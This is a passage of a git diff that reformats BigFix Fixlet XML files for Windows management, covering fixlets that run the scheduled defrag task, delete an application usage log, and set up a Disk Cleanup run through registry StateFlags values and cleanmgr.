-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">runhidden schtasks /run /TN &quot;Microsoft\Windows\Defrag\ScheduledDefrag&quot;</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Defragement and Optimize Drives - Windows
+  ID       : 23382
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-01T19:23:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Defragement and Optimize Drives - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet runs defragmentation or optimization on the targeted devices.</P>
+<P>This fixlet has generic relevance and should not be set to re-apply without a delay.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-11-15</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">runhidden schtasks /run /TN &quot;Microsoft\Windows\Defrag\ScheduledDefrag&quot;</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Application Usage Log - Windows (21052).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Application Usage Log - Windows (21052).bes
index e69b7d724..4a9df87f7 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Application Usage Log - Windows (21052).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Application Usage Log - Windows (21052).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Delete Application Usage Log - Windows
-  ID       : 21052
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-18T09:14:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Delete Application Usage Log - Windows</Title>
-    <Description><![CDATA[<P>This fixlet removes the application usage log from the system.</P>
-<P>For general information or to report issues with C3 Application Usage content please visit GitHub here: <A href="https://github.com/strawgate/C3-Application-Usage">https://github.com/strawgate/C3-Application-Usage</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-07-18</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden cmd.exe /c del /Q /F &quot;{pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client}&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Delete Application Usage Log - Windows
+  ID       : 21052
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-18T09:14:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Delete Application Usage Log - Windows</Title>
+    <Description><![CDATA[<P>This fixlet removes the application usage log from the system.</P>
+<P>For general information or to report issues with C3 Application Usage content please visit GitHub here: <A href="https://github.com/strawgate/C3-Application-Usage">https://github.com/strawgate/C3-Application-Usage</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-18</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden cmd.exe /c del /Q /F &quot;{pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Legacy Application Usage Log - Windows (21059).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Legacy Application Usage Log - Windows (21059).bes
index 82af3c953..34a5aed21 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Legacy Application Usage Log - Windows (21059).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Legacy Application Usage Log - Windows (21059).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Delete Legacy Application Usage Log - Windows
-  ID       : 21059
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T13:12:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Delete Legacy Application Usage Log - Windows</Title>
-    <Description><![CDATA[<P>This fixlet removes legacy-formatted application usage logs from the system.</P>
-<P>For general information or to report issues with C3 Application Usage content please visit GitHub here: <A href="https://github.com/strawgate/C3-Application-Usage">https://github.com/strawgate/C3-Application-Usage</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
-    <Relevance>not exists selects &quot;/Usage/Applications&quot; of xml document of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-07-18</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden cmd.exe /c del /Q /F &quot;{pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client}&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Delete Legacy Application Usage Log - Windows
+  ID       : 21059
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T13:12:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Delete Legacy Application Usage Log - Windows</Title>
+    <Description><![CDATA[<P>This fixlet removes legacy-formatted application usage logs from the system.</P>
+<P>For general information or to report issues with C3 Application Usage content please visit GitHub here: <A href="https://github.com/strawgate/C3-Application-Usage">https://github.com/strawgate/C3-Application-Usage</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Relevance>not exists selects &quot;/Usage/Applications&quot; of xml document of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-18</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden cmd.exe /c del /Q /F &quot;{pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Disk Cleanup - Windows (21628).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Disk Cleanup - Windows (21628).bes
index f2156136d..77efdb761 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Disk Cleanup - Windows (21628).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Disk Cleanup - Windows (21628).bes	
@@ -1,107 +1,107 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Disk Cleanup - Windows
-  ID       : 21628
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:22:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Disk Cleanup - Windows</Title>
-    <Description><![CDATA[<P>This will invoke a Window Disk Cleanup with aggressive cleanup settings.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-if {x64 of operating system}
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\BranchCache]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Recycle Bin]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\RetailDemo Offline Content]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Defender]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Temp Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows ESD installation files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-
-else
-
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\BranchCache]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Recycle Bin]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\RetailDemo Offline Content]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Defender]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Temp Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows ESD installation files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
-
-endif
-
-waithidden cleanmgr /sagerun:1337</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Disk Cleanup - Windows
+  ID       : 21628
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:22:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Disk Cleanup - Windows</Title>
+    <Description><![CDATA[<P>This will invoke a Window Disk Cleanup with aggressive cleanup settings.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+if {x64 of operating system}
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\BranchCache]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Recycle Bin]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\RetailDemo Offline Content]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
